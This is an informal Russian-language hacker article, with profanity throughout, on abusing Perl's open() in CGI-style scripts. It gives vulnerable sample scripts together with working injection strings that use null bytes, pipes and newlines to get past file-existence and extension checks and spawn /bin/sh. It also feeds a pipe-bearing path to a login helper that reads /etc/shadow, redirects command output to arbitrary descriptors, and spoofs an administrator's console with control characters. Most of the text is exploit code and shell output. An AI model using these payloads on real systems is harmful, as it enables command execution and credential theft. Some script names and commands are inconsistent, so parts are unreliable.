`` Advanced  strings  attacks ''

   Всё  данные трюки я  тестил в перле,  но  думаю они  прокатят в  многих
   скриптовых интерпретаторах. Итак, начнём.


 --[ 1 ]--

   Допустим, у нас есть такой скрипт:

 #!/usr/bin/perl

 # check1.pl

  $tt = "$ARGV[0]";
  chomp $tt;

  if (-f "$tt"){
    print "okay, file exists\n";
  } else {
    print "fuck, no such file!\n";
    exit(1);
  }

  open(FD,"$tt");
  while (<FD>){ print $_; }
  close(FD);

 # eof


   $ ./check1.pl "/bin/sh|"
   fuck, no such file!
   $

   Проблема в выполнении тут команд через open() в том, что если мы укажем
   в конце  или начале имени файла символ эскалатора ('|'),  мы  вылетим с
   ошибкой no_such_file. Напомню, что нам нужно именно выполнение команд!

   А что если вот так:

   $ ./check1.pl "/bin/sh\x00|"
   (тут и вдальнейшем я вбиваю *значения* этих хекс кодов, а не их самих)

   okay, file exists
   echo yo
   yo
   exit
   $ echo it works!
   it works!

   На самом деле я не особо понимаю,  почему это работает =)) вроде  null-
   byte должен обрубать строку... магия =)

   Далее для удобства я буду сразу писать значение argv[0] в $tt. Например
   check.cgi bla-bla-bla будет означать что  $tt = "bla-bla-bla";   Просто
   с шелла передавать скажем те же самые нуль-байты хуёво,  далеко не факт
   что они дойдут как надо до интерпретатора.


 --[ 2 ]--


 #!/usr/bin/perl

   Теперь нам необходимо, чтобы в строке присутствовала какая-нить лабуда,
   допустим раcширение файла .txt:

 # check2.pl

  $tt = "$ARGV[0]";
  chomp $tt;
  $tt =~ s/\r//ag;

  if ($tt =~ m/txt/i){
    print "okay, its allowed file extention\n";
  } else {
    print "fuck j00, this is not .txt file!\n";
    exit(1);
  }

  if (-f "$tt"){
    print "okay, file exists\n";
  } else {
    print "fuck, no such file!\n";
    exit(1);
  }

  open(FD,"$tt");
  while (<FD>){ print $_; }
  close(FD);

 # eof

   Вы наверное уже догадались как обойти эту проверку? Ага, вот пример:

   $ ./check2.pl "/bin/sh|"
   fuck j00, this is not .txt file!

   $ ./check2.pl "/bin/sh\x00txt|"
   id
   uid=666 (satanix) gid=13 groups=hell,heretics
   exit
   $


   Опять-таки, всё отлично работает,  но не понятно почему?  На самом деле
   после  нулл-байта и перед  0x7c мы можем вставить любые символы и нихуя
   не  убудет. Магия  блять =)) Так что тут мы подставляем txt после нуля.
   Как я и сказал,  теперь мы  обходим  проверку,  но  при  вызове  open()
   открывается "/bin/sh|",  а не "/bin/shtxt|",  как  казалось  бы  должно
   быть... аномалия =) но работает.


 --[ 3 ]--


   С  помощью  символов  0x0a, 0x0d, 0x08,  0x0c  мы  можем  форматировать
   выводимые на терминал данные как хотим, но от этого не много толку.  То
   что мне казалось раньше  -  перезапись  символов  в  строках  с  помщью
   таких функций, как sprintf ,- оказалась лишь иллюзией.  Зато при printf
   можно неплохо поглумиться выводом:  например 0x0c  как известно очищает
   экран ;) Также весело рулиться с 0x0d.  К примеру у админа висит скрипт
   который выводит инфу в таком формате на консоль:

  attacker's ip: 13.6.6.6    requested URSL: <here_printed_our_out>

   Теперь мы передаём к примеру строчку такого содержания:
 "\x0dMessage from root (vtty2) localhost 21:14:31 bla-bla-bla:\n\n j00 0wned!\n"
   У админа вместо привычной картини логов вылезет:

  Message from root (vtty2) localhost 21:14:31 bla-bla-bla:

    j00 0wned!

   Также должно по идее неплохо перевариваться скриптами форумов  и прочим
   cgi-шитом.


 --[ 4 ]--

   Ещё одна фича открытая мной не так давно. Сидел ковырял один cgi-движок
   и наткнулся на занятную вещь:  при авторизации главный скрипт  вызывает
   другой, админский, и скармливает ему последовательно инфу  /etc/shadow,
   $userid и собственно $passwd (i love w3 administration interfaces ;))).
   Тоесть вот как он принимает инфу:

 #!/usr/bin/perl

 # check4.pl

 $passfile = <STDIN>;
 $login = <STDIN>;
 $pass = <STDIN>;

 chomp $passfile;
 chomp $login;
 chomp $pass;

 print "got $passfile $login $pass\n";
 exit(1); # достаточно для примера, на самом деле он читает /etc/shadow,
          # в нем берёт имя юзера и пробует crypt($salt,$passwd) сравнить
          # с тем хешем. Вобщем юзается open(ZERO_MY_UID, "$passfile") ;))

   А почему он считается безопасным? потому, что его  вызывает  только сам
   движок, который заранее весь калл отфильтровывает  (как  оказалось,  не
   весь,  но  нам  это  не  важно )).  Мы  не  можем  просто  так  вызвать
   checklogin.pl,поскольку он читает из входного потока (при POST-запросе)
   одну-лишь строку. А нам надо передать все три! И что же делать? А вот и
   ответ: разбить строку символами 0x0a (ака перенос каретки).  При чтении
   из потока всё получается заебцом. Единственная проблема -  как передать
   через HTTP строку с символами 0x0a? Ответ -  юзать POST запрос конечно.
   Т.к.  в конце  каждой  строки  http-запроса  по  RFC для  совместимости
   должны быть символы "\r\n", так что всё проходит как  надо.  Вот  и наш
   оригинал скрипта checklogin.pl:

 #!/usr/bin/perl -T

 my ($username, $password, $usr, $pswd, $passwdfile);
 my $passcorrect = 0; # default to correct, set incorrect when determined
 my $line;
 chomp($passwdfile = <STDIN>);
 chomp($username = <STDIN>);
 chomp($password = <STDIN>);

 if ( $passwdfile && $username && $password ) {
    open (PASSWD, $passwdfile) or exit 1;
    while (defined($line = <PASSWD>)) {
       chomp($line);
       ($usr,$pswd) = (split(/:/, $line))[0,1];
       last if ($usr eq $username); # We've found the user in /etc/passwd
    }
    close (PASSWD);
    if (($usr ne $username) or (crypt($password, $pswd) ne $pswd)) {
       $passcorrect = 1; # User/Pass combo is WRONG!
    }
 } else {
    $passcorrect = 1;
 }
 exit $passcorrect;


   $ ./check4.pl
   /etc/passwd
   dude
   ass
   got /etc/passwd dude ass

   $ perl -e 'print "/bin/sh|\x0adumb\x0aass";' | ./check5.pl
   got /bin/sh| dumb ass

   $ echo yeeha!
   yeeha!


 --[ 5 ]--

   Только что отрыл тоже весьма занятную технику наёбки open()-a:

 #!/usr/bin/perl

 # check5.pl

 # our argument here, im t00 lazy to pass it over console
 $tt = "../../../bin/ls\x00\x3e\x262gif\x7c";

 if (-f "/bin/$tt"){ print "file is binary\n";
 } else { print "file is text\n";}

 if ($tt =~ m/gif/){ print "check 2 ok\n\n";
 } else { print "fuck on 2 check\n"; exit; }

 close(STDOUT);

 open(FD,"$tt");
 while(<FD>){ print "$_"; }
 close(FD);

 exit(1);
 
   $ ./check5.pl
   file is binary
   check 2 ok

   check1.pl check2.pl check3.pl check4.pl check5.pl

   $ ./check5.pl 1>/dev/null
   file is binary
   check 2 ok

   check1.pl check2.pl check3.pl check4.pl check5.pl

   $

   А теперь подробно: мы открываем файл "../../../bin/ls>&2\x00gif|".  Это
   охуенно  интересно!!  Смотрите внимательно в  исходник: перед открытием
   файла  open()-ом прога  закрывает STDOUT  чтобы какер не  увидел  вывод
   выполненой команды (1>/dev/null).  Но мы видим вывод,  хотя он постился
   именно туда. Теперь что же мы открываем:

   ../../../bin/ls  - существующий файл
   \x00             - null-separator
   >&2              - редирект stdout'а в stderr
   gif|             - для обхода проверки и запуска команды.

   Выходит, что мы можем писать в любой открытый дескриптор/сокет!  Скажем
   так:

   ../../../bin/ls\x00>&3gif|

   где  после  амперсанда (\x26) мы  вводим  номер   дескриптора.   Тоесть
   уникальность ситуации в том, что мы можем  записать какую хотим  инфу в
   ЛЮБОЙ открытый дескриптор с одного и того же open'a!! Я охуеваю с этого
   дела..



з.ы. вот почему я люблю perl ;))